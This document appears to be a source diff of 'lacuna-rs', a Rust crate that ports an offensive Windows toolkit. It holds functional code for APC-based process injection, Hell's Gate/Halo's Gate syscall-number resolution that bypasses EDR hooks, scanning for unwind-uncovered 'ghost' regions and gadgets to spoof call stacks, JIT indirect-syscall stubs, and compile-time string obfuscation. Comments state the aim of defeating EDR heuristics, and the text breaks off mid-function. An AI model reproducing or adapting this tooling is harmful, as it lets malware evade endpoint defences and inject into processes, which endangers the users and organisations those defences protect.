if queued == 0 {
eprintln!("{}", lc!("[-] no threads took the APC"));
unsafe { close_handle(&sc, h_proc) };
return Err(0xC000_0022u32 as i32);
}
eprintln!("{}{}{}", lc!("[+] queued to "), queued, lc!(" thread(s)"));
// -- Drain ETW-Ti APCs --
#[cfg(feature = "stack-spoof")]
{
#[cfg(feature = "veh")]
crate::veh::pcrypt_disarm();
eprintln!("{}", lc!("[*] entering alertable wait to drain APCs..."));
let mut drain: LARGE_INTEGER = -100_000;
unsafe { NtDelayExecution(1, &mut drain) };
eprintln!("{}", lc!("[*] APC drain complete, restoring stack..."));
crate::chain::stomp_restore();
}
#[cfg(feature = "veh")]
crate::veh::pcrypt_disarm();
unsafe { close_handle(&sc, h_proc) };
Ok(())
}
#[inline]
unsafe fn close_handle(sc: &Syscalls, h: HANDLE) {
let nt_close: PNtClose = core::mem::transmute(sc.nt_close.as_fn());
let _ = nt_close(h);
}
+177
View File
@@ -0,0 +1,177 @@
//
// lib.rs — lacuna-rs crate root
//
// LACUNA Chain ported to a reusable Rust crate.
//
// This crate provides the same primitives as the original `lacuna_chain.c`:
//
// * PE parsing (section lookup, export resolution)
// * .pdata ghost-region scanning (executable code with no
// RUNTIME_FUNCTION coverage)
// * SSN resolution + per-function `syscall;ret` targeting
// * JIT indirect-syscall stub emission (with optional ghost-gadget
// redirect)
// * LACUNA ghost-frame chain construction + stack stomp
// * Vectored exception handlers for parameter encryption and
// return-address spoofing
// * Section-based APC injection (NtCreateSection + MapView×2)
//
// ## Feature flags
//
// * `inject` — enable `inject::inject_sapc`.
// * `stack-spoof`— enable `chain` module (ghost-frame chain + stomp).
// Requires frame pointers; see `build.rs`.
// * `veh` — enable `veh` module (hardware-breakpoint parameter
// encryption + return-address spoofing).
//
// When no features are enabled, only the scanning/PE/NT layers are
// available — useful for reconnaissance without pulling in the
// offensive primitives.
//
#![allow(dead_code)]
#![allow(non_snake_case)]
#![allow(non_upper_case_globals)]
// ── litcrypt2 string obfuscation ─────────────────────────────────────────────
// Encrypts string literals at compile time; they are decrypted at runtime
// inside the `lc!()` macro. The encryption key is read from the
// `LITCRYPT_ENCRYPT_KEY` environment variable; if unset, litcrypt2
// auto-generates a random key at compile time.
#[macro_use]
extern crate litcrypt2;
// litcrypt2's `use_litcrypt!()` macro expands to code that references
// `alloc::vec::Vec` and `alloc::string::String`, so we link the `alloc`
// crate explicitly.
extern crate alloc;
use_litcrypt!();
// ── Module wiring ────────────────────────────────────────────────────────────
pub mod win;
pub mod pe;
pub mod scan;
pub mod nt;
pub mod stub;
#[cfg(feature = "veh")]
pub mod veh;
#[cfg(feature = "stack-spoof")]
pub mod chain;
#[cfg(feature = "inject")]
pub mod inject;
// ── Crate-level re-exports ───────────────────────────────────────────────────
pub use win::nt_ok;
// ── Version ──────────────────────────────────────────────────────────────────
pub const VERSION: &str = env!("CARGO_PKG_VERSION");
// ── Convenience: one-shot scan ───────────────────────────────────────────────
/// Scan all four target modules (ntdll, kernelbase, wow64, win32u) for
/// ghost regions and gadgets, returning a summary.
///
/// This is the Rust analogue of the C `do_scan()` function.
pub fn scan_all() -> ScanSummary {
let modules: &[(&[u8], &[&[u8]])] = &[
(
b"ntdll.dll\0",
&[
b"NtAllocateVirtualMemory\0",
b"NtCreateThreadEx\0",
b"RtlCreateUserThread\0",
b"LdrLoadDll\0",
b"RtlUserThreadStart\0",
],
),
(
b"kernelbase.dll\0",
&[
b"VirtualProtect\0",
b"VirtualAllocEx\0",
b"WriteProcessMemory\0",
b"CreateRemoteThreadEx\0",
],
),
(
b"wow64.dll\0",
&[
b"Wow64PrepareForException\0",
b"Wow64KiUserCallbackDispatcher\0",
b"Wow64ApcRoutine\0",
],
),
(
b"win32u.dll\0",
&[
b"NtGdiDdDDICreateDevice\0",
b"NtUserCallNoParam\0",
],
),
];
let mut summary = ScanSummary::default();
for &(mod_name, targets) in modules {
let m = win::get_module(mod_name);
if m.is_null() {
continue;
}
let mut buf = [scan::Ghost {
va_start: 0,
va_end: 0,
size: 0,
export_va: 0,
dist: 0,
name: [0; 64],
}; 512];
let n = scan::scan_ghosts(m, targets, &mut buf);
let mut gg = [scan::GhostGadget { va: 0, parent: [0; 64] }; 32];
let ngg = scan::scan_ghost_gadgets(&buf[..n], mod_name, &mut gg);
summary.modules.push(ScanModule {
name: trim_cstr(mod_name).to_string(),
ghost_count: n,
gadget_count: ngg,
first_ghost: if n > 0 {
Some((buf[0].va_start, buf[0].va_end, buf[0].size))
} else {
None
},
win32u_nop_gap: if mod_name.starts_with(b"win32u") {
scan::win32u_nop_gap(m)
} else {
0
},
});
}
summary
}
/// Trim a NUL-terminated byte slice to the bytes before the first NUL.
fn trim_cstr(s: &[u8]) -> &str {
let n = s.iter().position(|&b| b == 0).unwrap_or(s.len());
core::str::from_utf8(&s[..n]).unwrap_or("?")
}
// ── Scan summary types ───────────────────────────────────────────────────────
#[derive(Default)]
pub struct ScanSummary {
pub modules: Vec<ScanModule>,
}
pub struct ScanModule {
pub name: String,
pub ghost_count: usize,
pub gadget_count: usize,
pub first_ghost: Option<(u64, u64, u32)>,
pub win32u_nop_gap: u64,
}
+90
View File
@@ -0,0 +1,90 @@
//
// nt.rs — SSN resolution and syscall;ret gadget location for lacuna-rs
//
// Ported from lacuna_chain.c:
// resolve_ssn(), find_func_syscall().
//
// This is the "better syscalls-rs" layer: instead of a build-script-generated
// SSN table that goes stale across Windows builds, we read the SSN straight
// out of ntdll's stub at runtime, and we target the *function's own*
// `syscall; ret` instruction so RIP is inside ntdll at kernel entry —
// defeating the EDR "SSN mismatch" heuristic that fixed-table indirect
// syscall crates can trip.
//
#![allow(dead_code)]
use crate::pe;
use crate::win::{HMODULE, ULONG64, DWORD};
/// Sentinel returned when SSN resolution fails.
pub const SSN_INVALID: DWORD = 0xFFFF_FFFF;
/// Read the SSN from an ntdll syscall stub.
///
/// A clean (unhooked) stub looks like:
/// 4C 8B D1 mov r10, rcx
/// B8 xx xx 00 00 mov eax, <SSN>
/// ...
///
/// If the stub is hooked (the `mov r10, rcx` / `mov eax, imm32` prologue is
/// missing), we scan ±10 adjacent stubs (32 bytes apart) and adjust the SSN
/// by the stub offset — the classic Hell's Gate / Halo's Gate technique.
///
/// Ported from resolve_ssn().
pub fn resolve_ssn(ntdll: HMODULE, fn_name: &[u8]) -> DWORD {
let p = pe::export_va(ntdll, fn_name) as *const u8;
if p.is_null() {
return SSN_INVALID;
}
unsafe {
// Clean stub? SSN is the imm32 at offset +4 (after 4C 8B D1 B8).
if *p == 0x4C && *p.add(1) == 0x8B && *p.add(2) == 0xD1 && *p.add(3) == 0xB8 {
return *(p.add(4) as *const DWORD);
}
// Hooked — scan neighbours.
for d in 1..=10usize {
// p - d*32
let u = p.offset((d * 32) as isize * -1);
if *u == 0x4C && *u.add(1) == 0x8B && *u.add(2) == 0xD1 && *u.add(3) == 0xB8 {
return *(u.add(4) as *const DWORD) + d as DWORD;
}
// p + d*32
let dn = p.add(d * 32);
if *dn == 0x4C && *dn.add(1) == 0x8B && *dn.add(2) == 0xD1 && *dn.add(3) == 0xB8 {
return *(dn.add(4) as *const DWORD) - d as DWORD;
}
}
}
SSN_INVALID
}
/// Find the `syscall; ret` (`0F 05 C3`) sequence inside a specific ntdll
/// function. Returns the absolute VA, or 0 if not found within 32 bytes
/// of the function start.
///
/// Per-function targeting: RIP lands at the function's OWN syscall
/// instruction, so the SSN matches the function name — no EDR mismatch
/// heuristic can fire.
///
/// Ported from find_func_syscall().
pub fn find_func_syscall(ntdll: HMODULE, fn_name: &[u8]) -> ULONG64 {
let p = pe::export_va(ntdll, fn_name) as *const u8;
if p.is_null() {
return 0;
}
unsafe {
for i in 0..32 {
if *p.add(i) == 0x0F && *p.add(i + 1) == 0x05 && *p.add(i + 2) == 0xC3 {
return p.add(i) as ULONG64;
}
}
}
0
}
/// Resolve both the SSN and the function's own `syscall; ret` VA in one
/// call — the pair needed by `stub::make_stub()`.
pub fn resolve(ntdll: HMODULE, fn_name: &[u8]) -> (DWORD, ULONG64) {
(resolve_ssn(ntdll, fn_name), find_func_syscall(ntdll, fn_name))
}
+275
View File
@@ -0,0 +1,275 @@
//
// pe.rs — PE parsing helpers for lacuna-rs
//
// Ported from lacuna_chain.c: pe_section(), pe_export().
//
// These operate on a loaded module base (HMODULE) and read the in-memory PE
// structures directly. No file I/O, no allocations.
//
#![allow(dead_code)]
use crate::win::{HMODULE, ULONG, ULONG64, WORD, DWORD};
// ── PE structures (minimal subset) ───────────────────────────────────────────
#[repr(C)]
pub struct IMAGE_DOS_HEADER {
pub e_magic: u16,
pub e_cblp: u16,
pub e_cp: u16,
pub e_crlc: u16,
pub e_cparhdr: u16,
pub e_minalloc: u16,
pub e_maxalloc: u16,
pub e_ss: u16,
pub e_sp: u16,
pub e_csum: u16,
pub e_ip: u16,
pub e_cs: u16,
pub e_lfarlc: u16,
pub e_ovno: u16,
pub e_res: [u16; 4],
pub e_oemid: u16,
pub e_oeminfo: u16,
pub e_res2: [u16; 10],
pub e_lfanew: i32,
}
#[repr(C)]
pub struct IMAGE_FILE_HEADER {
pub Machine: WORD,
pub NumberOfSections: WORD,
pub TimeDateStamp: DWORD,
pub PointerToSymbolTable: DWORD,
pub NumberOfSymbols: DWORD,
pub SizeOfOptionalHeader: WORD,
pub Characteristics: WORD,
}
#[repr(C)]
pub struct IMAGE_DATA_DIRECTORY {
pub VirtualAddress: DWORD,
pub Size: DWORD,
}
pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
pub const IMAGE_DIRECTORY_ENTRY_EXCEPTION: usize = 3;
#[repr(C)]
pub struct IMAGE_OPTIONAL_HEADER64 {
pub Magic: WORD,
pub MajorLinkerVersion: u8,
pub MinorLinkerVersion: u8,
pub SizeOfCode: DWORD,
pub SizeOfInitializedData: DWORD,
pub SizeOfUninitializedData: DWORD,
pub AddressOfEntryPoint: DWORD,
pub BaseOfCode: DWORD,
pub ImageBase: u64,
pub SectionAlignment: DWORD,
pub FileAlignment: DWORD,
pub MajorOperatingSystemVersion: WORD,
pub MinorOperatingSystemVersion: WORD,
pub MajorImageVersion: WORD,
pub MinorImageVersion: WORD,
pub MajorSubsystemVersion: WORD,
pub MinorSubsystemVersion: WORD,
pub Win32VersionValue: DWORD,
pub SizeOfImage: DWORD,
pub SizeOfHeaders: DWORD,
pub CheckSum: DWORD,
pub Subsystem: WORD,
pub DllCharacteristics: WORD,
pub SizeOfStackReserve: u64,
pub SizeOfStackCommit: u64,
pub SizeOfHeapReserve: u64,
pub SizeOfHeapCommit: u64,
pub LoaderFlags: DWORD,
pub NumberOfRvaAndSizes: DWORD,
pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
}
#[repr(C)]
pub struct IMAGE_NT_HEADERS64 {
pub Signature: DWORD,
pub FileHeader: IMAGE_FILE_HEADER,
pub OptionalHeader: IMAGE_OPTIONAL_HEADER64,
}
#[repr(C)]
pub struct IMAGE_SECTION_HEADER {
pub Name: [u8; 8],
pub Misc: IMAGE_SECTION_MISC,
pub VirtualAddress: DWORD,
pub SizeOfRawData: DWORD,
pub PointerToRawData: DWORD,
pub PointerToRelocations: DWORD,
pub PointerToLinenumbers: DWORD,
pub NumberOfRelocations: WORD,
pub NumberOfLinenumbers: WORD,
pub Characteristics: DWORD,
}
#[repr(C)]
pub union IMAGE_SECTION_MISC {
pub PhysicalAddress: DWORD,
pub VirtualSize: DWORD,
}
#[repr(C)]
pub struct IMAGE_EXPORT_DIRECTORY {
pub Characteristics: DWORD,
pub TimeDateStamp: DWORD,
pub MajorVersion: WORD,
pub MinorVersion: WORD,
pub Name: DWORD,
pub Base: DWORD,
pub NumberOfFunctions: DWORD,
pub NumberOfNames: DWORD,
pub AddressOfFunctions: DWORD,
pub AddressOfNames: DWORD,
pub AddressOfNameOrdinals: DWORD,
}
pub const IMAGE_SCN_MEM_EXECUTE: DWORD = 0x2000_0000;
// ── Helpers ──────────────────────────────────────────────────────────────────
/// Cast a module base to a byte pointer.
#[inline]
fn base_bytes(mod_base: HMODULE) -> *const u8 {
mod_base as *const u8
}
/// Read the DOS header from a module base.
#[inline]
pub unsafe fn dos_header(base: HMODULE) -> *const IMAGE_DOS_HEADER {
base as *const IMAGE_DOS_HEADER
}
/// Read the NT headers from a module base.
#[inline]
pub unsafe fn nt_headers(base: HMODULE) -> *const IMAGE_NT_HEADERS64 {
let b = base_bytes(base);
let dos = dos_header(base);
b.offset((*dos).e_lfanew as isize) as *const IMAGE_NT_HEADERS64
}
/// Pointer to the first section header.
#[inline]
pub unsafe fn first_section(nt: *const IMAGE_NT_HEADERS64) -> *const IMAGE_SECTION_HEADER {
let optional_end = (&(*nt).OptionalHeader) as *const _ as *const u8;
let opt_size = core::mem::size_of::<IMAGE_OPTIONAL_HEADER64>();
optional_end.add(opt_size) as *const IMAGE_SECTION_HEADER
// NOTE: this is equivalent to IMAGE_FIRST_SECTION(nt) — the section table
// immediately follows the optional header.
}
// ── Public API (ported from C) ───────────────────────────────────────────────
/// Find a section by 8-byte name. Returns (virtual_address, virtual_size)
/// relative to the module base, or None.
///
/// Ported from pe_section().
pub fn section(mod_base: HMODULE, name: &[u8]) -> Option<(ULONG64, ULONG)> {
unsafe {
let b = base_bytes(mod_base);
let nt = nt_headers(mod_base);
let mut s = first_section(nt);
for _ in 0..(*nt).FileHeader.NumberOfSections {
let sec_name = &(*s).Name;
// Compare up to 8 bytes; name may or may not be NUL-terminated.
let n = name.len().min(8);
if sec_name[..n] == name[..n] {
let va = b.add((*s).VirtualAddress as usize) as ULONG64;
let sz = (*s).Misc.VirtualSize;
return Some((va, sz));
}
s = s.add(1);
}
}
None
}
/// Resolve an export by name. Returns the absolute VA, or 0 if not found.
///
/// Ported from pe_export().
pub fn export_va(mod_base: HMODULE, fname: &[u8]) -> ULONG64 {
unsafe {
let b = base_bytes(mod_base);
let nt = nt_headers(mod_base);
let erva = (*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if erva == 0 {
return 0;
}
let ed = b.add(erva as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = b.add((*ed).AddressOfNames as usize) as *const DWORD;
let ords = b.add((*ed).AddressOfNameOrdinals as usize) as *const WORD;
let funcs = b.add((*ed).AddressOfFunctions as usize) as *const DWORD;
for i in 0..(*ed).NumberOfNames {
let name_rva = *names.add(i as usize);
let name_ptr = b.add(name_rva as usize);
// strcmp equivalent: compare NUL-terminated C string
if cstr_eq(name_ptr, fname) {
let ord = *ords.add(i as usize) as usize;
let func_rva = *funcs.add(ord);
return b.add(func_rva as usize) as ULONG64;
}
}
}
0
}
/// Compare a NUL-terminated C string pointer against a Rust byte slice.
///
/// Equivalent to `strcmp((char*)p, fname) == 0` in the C original.
/// Callers pass slices like `b"NtOpenProcess\0"` — the trailing NUL is
/// expected and handled correctly.
unsafe fn cstr_eq(p: *const u8, s: &[u8]) -> bool {
let mut i = 0;
loop {
let c = *p.add(i);
if c == 0 {
// C string ended — match if we are at/past end of s,
// or s[i] is also NUL (callers pass b"NtOpenProcess\0").
return i >= s.len() || s[i] == 0;
}
if i >= s.len() {
return false;
}
if c != s[i] {
return false;
}
i += 1;
}
}
/// Return the image's executable section range (first section with
/// IMAGE_SCN_MEM_EXECUTE), as (start_va, end_va) absolute.
///
/// Used by the ghost scanner to bound gap searches to .text.
pub fn exec_range(mod_base: HMODULE) -> Option<(ULONG64, ULONG64)> {
unsafe {
let b = base_bytes(mod_base);
let nt = nt_headers(mod_base);
let mut s = first_section(nt);
for _ in 0..(*nt).FileHeader.NumberOfSections {
if (*s).Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 {
let start = b.add((*s).VirtualAddress as usize) as ULONG64;
let end = start + (*s).Misc.VirtualSize as ULONG64;
return Some((start, end));
}
s = s.add(1);
}
}
None
}
/// SizeOfImage from the optional header — used to bound the "exe range"
/// scan in the parameter-encryption VEH.
pub fn size_of_image(mod_base: HMODULE) -> ULONG64 {
unsafe { (*nt_headers(mod_base)).OptionalHeader.SizeOfImage as ULONG64 }
}
+358
View File
@@ -0,0 +1,358 @@
//
// scan.rs — .pdata ghost-region and gadget scanning for lacuna-rs
//
// Ported from lacuna_chain.c:
// scan_ghosts(), best_ghost(), win32u_nop_gap(), find_mf_target(),
// scan_ghost_gadgets().
//
// A "ghost" is an executable code region with no .pdata RUNTIME_FUNCTION
// coverage. RtlVirtualUnwind treats such addresses as leaf frames and
// simply does RSP += 8 to find the next return address — this is the
// primitive that makes the LACUNA chain walkable.
//
#![allow(dead_code)]
use crate::pe;
use crate::win::{HMODULE, ULONG64, UINT};
use crate::win::{DWORD, BYTE};
// ── Public data types ────────────────────────────────────────────────────────
/// A .pdata lacuna — executable code with no RUNTIME_FUNCTION coverage.
///
/// Ported from `Ghost` in lacuna_chain.c.
#[derive(Clone, Copy)]
pub struct Ghost {
pub va_start: ULONG64,
pub va_end: ULONG64,
pub size: UINT,
pub export_va: ULONG64,
pub dist: UINT,
pub name: [u8; 64],
}
impl Ghost {
pub fn name_str(&self) -> &[u8] {
let n = self.name.iter().position(|&b| b == 0).unwrap_or(self.name.len());
&self.name[..n]
}
}
/// A `JMP [RBX]` (`FF 23`) gadget found inside a ghost region.
///
/// Ported from `GhostGadget` in lacuna_chain.c.
#[derive(Clone, Copy)]
pub struct GhostGadget {
pub va: ULONG64,
pub parent: [u8; 64],
}
// ── RUNTIME_FUNCTION (alias of win::RUNTIME_FUNCTION) ────────────────────────
#[repr(C)]
#[derive(Clone, Copy)]
pub struct Rf {
pub Begin: DWORD,
pub End: DWORD,
pub Unwind: DWORD,
}
// ── Unwind info header + codes (for find_mf_target) ──────────────────────────
#[repr(C, packed)]
#[derive(Clone, Copy)]
pub struct UH {
pub VF: BYTE,
pub Prolog: BYTE,
pub Count: BYTE,
pub Frame: BYTE,
}
#[repr(C, packed)]
#[derive(Clone, Copy)]
pub struct UC {
pub Off: BYTE,
pub Op: BYTE,
}
pub const UWOP_PUSH_MACHFRAME: u8 = 10;
// ── win32u 8-byte NOP signature ──────────────────────────────────────────────
pub const WIN32U_NOP8: [u8; 8] = [0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00];
// ── scan_ghosts ──────────────────────────────────────────────────────────────
/// Scan a module's .pdata for gaps between RUNTIME_FUNCTION entries that
/// contain real (non-padding) code.
///
/// For each gap, find the nearest target export and record the distance.
///
/// Ported from scan_ghosts().
pub fn scan_ghosts(
mod_base: HMODULE,
targets: &[&[u8]],
out: &mut [Ghost],
) -> usize {
// Locate .pdata.
let (pdata_va, pdata_sz) = match pe::section(mod_base, b".pdata") {
Some(x) => x,
None => return 0,
};
// Resolve target export VAs.
let mut tva: [ULONG64; 32] = [0; 32];
let mut tname: [[u8; 64]; 32] = [[0; 64]; 32];
let mut n_t = 0usize;
for &t in targets {
if n_t >= 32 {
break;
}
let v = pe::export_va(mod_base, t);
if v != 0 {
tva[n_t] = v;
let n = t.len().min(63);
tname[n_t][..n].copy_from_slice(&t[..n]);
n_t += 1;
}
}
let rf = pdata_va as *const Rf;
let count = pdata_sz as usize / core::mem::size_of::<Rf>();
let img = mod_base as ULONG64;
let mut prev: ULONG64 = 0;
let mut found = 0usize;
for i in 0..count {
if found >= out.len() {
break;
}
let cur = unsafe { &*rf.add(i) };
if cur.Unwind == 0 {
continue;
}
let begin = img + cur.Begin as ULONG64;
let end = img + cur.End as ULONG64;
if prev != 0 && begin > prev {
let sz = (begin - prev) as UINT;
let gp = prev as *const u8;
let mut nonpad = 0u32;
let lim = (sz as usize).min(512);
for k in 0..lim {
let b = unsafe { *gp.add(k) };
if b != 0xCC && b != 0x00 && b != 0x90 {
nonpad += 1;
}
}
if nonpad > 4 && sz >= 8 {
// nearest target export
let mut best = 0xFFFF_FFFFu32;
let mut bi = -1i32;
for j in 0..n_t {
let d = if tva[j] >= prev && tva[j] <= prev + sz as ULONG64 {
0
} else if tva[j] > prev + sz as ULONG64 {
(tva[j] - (prev + sz as ULONG64)) as u32
} else {
(prev - tva[j]) as u32
};
if d < best {
best = d;
bi = j as i32;
}
}
let g = &mut out[found];
g.va_start = prev;
g.va_end = prev + sz as ULONG64;
g.size = sz;
g.export_va = if bi >= 0 { tva[bi as usize] } else { 0 };
g.dist = best;
g.name = [0; 64];
if bi >= 0 {
let n = tname[bi as usize].iter().position(|&b| b == 0).unwrap_or(63);
g.name[..n].copy_from_slice(&tname[bi as usize][..n]);
}
found += 1;
}
}
prev = end;
}
found
}
// ── best_ghost ───────────────────────────────────────────────────────────────
/// Find the ghost with the smallest distance whose name matches `target`.
///
/// Ported from best_ghost().
pub fn best_ghost<'a>(ghosts: &'a [Ghost], target: &[u8]) -> Option<&'a Ghost> {
let mut best: Option<&Ghost> = None;
let mut bd = 0xFFFF_FFFFu32;
for g in ghosts {
if g.name_str() == target && g.dist < bd {
bd = g.dist;
best = Some(g);
}
}
best
}
// ── win32u_nop_gap ───────────────────────────────────────────────────────────
/// Find the first 416 byte NOP/padding gap between .pdata entries in win32u.
///
/// Ported from win32u_nop_gap().
pub fn win32u_nop_gap(mod_base: HMODULE) -> ULONG64 {
let (pdata_va, pdata_sz) = match pe::section(mod_base, b".pdata") {
Some(x) => x,
None => return 0,
};
let rf = pdata_va as *const Rf;
let count = pdata_sz as usize / core::mem::size_of::<Rf>();
let img = mod_base as ULONG64;
let mut prev: ULONG64 = 0;
for i in 0..count {
let cur = unsafe { &*rf.add(i) };
if cur.Unwind == 0 {
continue;
}
let begin = img + cur.Begin as ULONG64;
if prev != 0 && begin > prev {
let gap = (begin - prev) as u32;
if (4..=16).contains(&gap) {
let gp = prev as *const u8;
let ok = if gap == 8 {
let s = unsafe { core::slice::from_raw_parts(gp, 8) };
s == WIN32U_NOP8
} else {
let mut all_pad = true;
for k in 0..gap {
let b = unsafe { *gp.add(k as usize) };
if b != 0x00 && b != 0xCC && b != 0x90 {
all_pad = false;
break;
}
}
all_pad
};
if ok {
return prev;
}
}
}
prev = img + cur.End as ULONG64;
}
0
}
// ── find_mf_target ───────────────────────────────────────────────────────────
/// Find a RUNTIME_FUNCTION whose unwind info contains UWOP_PUSH_MACHFRAME
/// at offset 0 — the BYOUD-MF anchor. Falls back to
/// KiUserExceptionDispatcher+4.
///
/// Ported from find_mf_target().
pub fn find_mf_target(ntdll: HMODULE) -> ULONG64 {
if let Some((pdata_va, pdata_sz)) = pe::section(ntdll, b".pdata") {
let rf = pdata_va as *const Rf;
let count = pdata_sz as usize / core::mem::size_of::<Rf>();
let img = ntdll as ULONG64;
for i in 0..count {
let cur = unsafe { &*rf.add(i) };
if cur.Unwind == 0 {
continue;
}
let uh = (img + cur.Unwind as ULONG64) as *const UH;
let codes = (uh as *const u8).wrapping_add(4) as *const UC;
let cnt = unsafe { (*uh).Count };
for j in 0..cnt as usize {
let c = unsafe { &*codes.add(j) };
if (c.Op & 0xF) == UWOP_PUSH_MACHFRAME && c.Off == 0 {
return img + cur.Begin as ULONG64 + 4;
}
}
}
}
pe::export_va(ntdll, b"KiUserExceptionDispatcher\0") + 4
}
// ── scan_ghost_gadgets ───────────────────────────────────────────────────────
/// Scan ghost regions for `JMP [RBX]` (`FF 23`) instructions.
///
/// Ported from scan_ghost_gadgets().
pub fn scan_ghost_gadgets(
ghosts: &[Ghost],
mod_name: &[u8],
out: &mut [GhostGadget],
) -> usize {
let mut found = 0usize;
'outer: for g in ghosts {
let p = g.va_start as *const u8;
let sz = g.size as usize;
for k in 0..sz.saturating_sub(1) {
let b0 = unsafe { *p.add(k) };
let b1 = unsafe { *p.add(k + 1) };
if b0 == 0xFF && b1 == 0x23 {
let gg = &mut out[found];
gg.va = g.va_start + k as ULONG64;
gg.parent = [0; 64];
let mn = mod_name.iter().position(|&b| b == 0).unwrap_or(mod_name.len());
let _ = format_ghost_parent(&mut gg.parent, mod_name, mn, g.va_start);
found += 1;
if found >= out.len() {
break 'outer;
}
}
}
}
found
}
/// Write `"{mod_name} ghost @{va:x}"` into a 64-byte buffer.
/// Returns the number of bytes written.
fn format_ghost_parent(buf: &mut [u8; 64], mod_name: &[u8], mn: usize, va: ULONG64) -> usize {
let mut w = 0usize;
// mod_name
if w + mn < 64 {
buf[w..w + mn].copy_from_slice(&mod_name[..mn]);
w += mn;
}
// " ghost @"
let suffix = b" ghost @";
if w + suffix.len() < 64 {
buf[w..w + suffix.len()].copy_from_slice(suffix);
w += suffix.len();
}
// hex va
let mut tmp = [0u8; 16];
let hex_len = u64_to_hex(va, &mut tmp);
if w + hex_len < 64 {
buf[w..w + hex_len].copy_from_slice(&tmp[..hex_len]);
w += hex_len;
}
w
}
/// Format a u64 as lowercase hex into `out`, returning the number of digits.
fn u64_to_hex(v: u64, out: &mut [u8; 16]) -> usize {
const HEX: &[u8; 16] = b"0123456789abcdef";
if v == 0 {
out[0] = b'0';
return 1;
}
let mut tmp = [0u8; 16];
let mut n = 0usize;
let mut x = v;
while x != 0 {
tmp[n] = HEX[(x & 0xF) as usize];
x >>= 4;
n += 1;
}
// reverse into out
for i in 0..n {
out[i] = tmp[n - 1 - i];
}
n
}
+146
View File
@@ -0,0 +1,146 @@
//
// stub.rs — JIT indirect-syscall stub emission for lacuna-rs
//
// Ported from lacuna_chain.c: alloc_stub().
//
// Two stub variants are emitted:
//
// 1. Ghost-gadget path (when g_ghost_gadget && func_sr):
// mov [rsp+8], rbx ; save callee-saved RBX
// mov r10, rcx ; Win64 syscall ABI
// mov eax, <SSN>
// lea rbx, [rip+Y] ; &func_sr
// mov r11, [rsp] ; save real return addr
// mov [rsp+16], r11 ; stash it
// lea r11, [rip+W] ; &epilogue
// mov [rsp], r11 ; swap return addr -> epilogue
// jmp [rip+V] ; jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret
// ; epilogue:
// mov rbx, [rsp] ; restore RBX
// jmp [rsp+8] ; jmp to original return
// ; data:
// dq ghost_gadget
// dq func_sr
//
// 2. Direct path (no ghost gadget):
// mov r10, rcx
// mov eax, <SSN>
// jmp [rip+0] ; jmp [func_sr] (if func_sr != 0)
// dq func_sr
// —or—
// mov r10, rcx
// mov eax, <SSN>
// syscall ; (if func_sr == 0)
// ret
//
#![allow(dead_code)]
use crate::win::{
self, DWORD, ULONG64, PVOID, DWORD as ULONG,
PAGE_EXECUTE_READ, PAGE_READWRITE, MEM_COMMIT, MEM_RESERVE,
};
use core::ptr;
pub struct Stub {
pub code: PVOID,
}
impl Stub {
pub fn as_fn(&self) -> PVOID {
self.code
}
}
impl Drop for Stub {
fn drop(&mut self) {
if !self.code.is_null() {
unsafe {
win::VirtualFree(self.code, 0, win::MEM_RELEASE);
}
}
}
}
pub static G_GHOST_GADGET: core::sync::atomic::AtomicU64 =
core::sync::atomic::AtomicU64::new(0);
pub static G_GHOST_MOD: core::sync::atomic::AtomicU8 =
core::sync::atomic::AtomicU8::new(0);
pub fn make_stub(ssn: DWORD, func_sr: ULONG64) -> Option<Stub> {
let mut code: [u8; 80] = [0; 80];
let mut off = 0usize;
let ghost_gadget = G_GHOST_GADGET.load(core::sync::atomic::Ordering::Relaxed);
if ghost_gadget != 0 && func_sr != 0 {
// ── Ghost-gadget path ───────────────────────────────────────────
emit(&mut code, &mut off, &[0x48, 0x89, 0x5C, 0x24, 0x08]); // mov [rsp+8], rbx
emit(&mut code, &mut off, &[0x4C, 0x8B, 0xD1]); // mov r10, rcx
code[off] = 0xB8; off += 1; // mov eax, imm32
code[off..off + 4].copy_from_slice(&ssn.to_ne_bytes()); off += 4;
emit(&mut code, &mut off, &[0x48, 0x8D, 0x1D]); // lea rbx, [rip+disp32]
let lea_rbx = off; off += 4;
emit(&mut code, &mut off, &[0x4C, 0x8B, 0x1C, 0x24]); // mov r11, [rsp]
emit(&mut code, &mut off, &[0x4C, 0x89, 0x5C, 0x24, 0x10]); // mov [rsp+16], r11
emit(&mut code, &mut off, &[0x4C, 0x8D, 0x1D]); // lea r11, [rip+disp32]
let lea_r11 = off; off += 4;
emit(&mut code, &mut off, &[0x4C, 0x89, 0x1C, 0x24]); // mov [rsp], r11
emit(&mut code, &mut off, &[0xFF, 0x25]); // jmp [rip+disp32]
let jmp_disp = off; off += 4;
let epilogue = off;
emit(&mut code, &mut off, &[0x48, 0x8B, 0x1C, 0x24]); // mov rbx, [rsp]
emit(&mut code, &mut off, &[0xFF, 0x64, 0x24, 0x08]); // jmp [rsp+8]
let ghost_data = off;
code[off..off + 8].copy_from_slice(&ghost_gadget.to_ne_bytes()); off += 8;
let sr_data = off;
code[off..off + 8].copy_from_slice(&func_sr.to_ne_bytes()); off += 8;
patch_disp(&mut code, lea_rbx, sr_data);
patch_disp(&mut code, lea_r11, epilogue);
patch_disp(&mut code, jmp_disp, ghost_data);
} else {
// ── Direct path (simple jmp [func_sr]) ─────────────────────────
emit(&mut code, &mut off, &[0x4C, 0x8B, 0xD1]); // mov r10, rcx
code[off] = 0xB8; off += 1; // mov eax, imm32
code[off..off + 4].copy_from_slice(&ssn.to_ne_bytes()); off += 4;
if func_sr != 0 {
emit(&mut code, &mut off, &[0xFF, 0x25]); // jmp [rip+0]
code[off..off + 4].copy_from_slice(&0i32.to_ne_bytes()); off += 4;
code[off..off + 8].copy_from_slice(&func_sr.to_ne_bytes()); off += 8;
} else {
emit(&mut code, &mut off, &[0x0F, 0x05, 0xC3]); // syscall; ret
}
}
let m = unsafe {
win::VirtualAlloc(
ptr::null_mut(),
0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
};
if m.is_null() {
return None;
}
unsafe {
ptr::copy_nonoverlapping(code.as_ptr(), m as *mut u8, off);
let mut old: ULONG = 0;
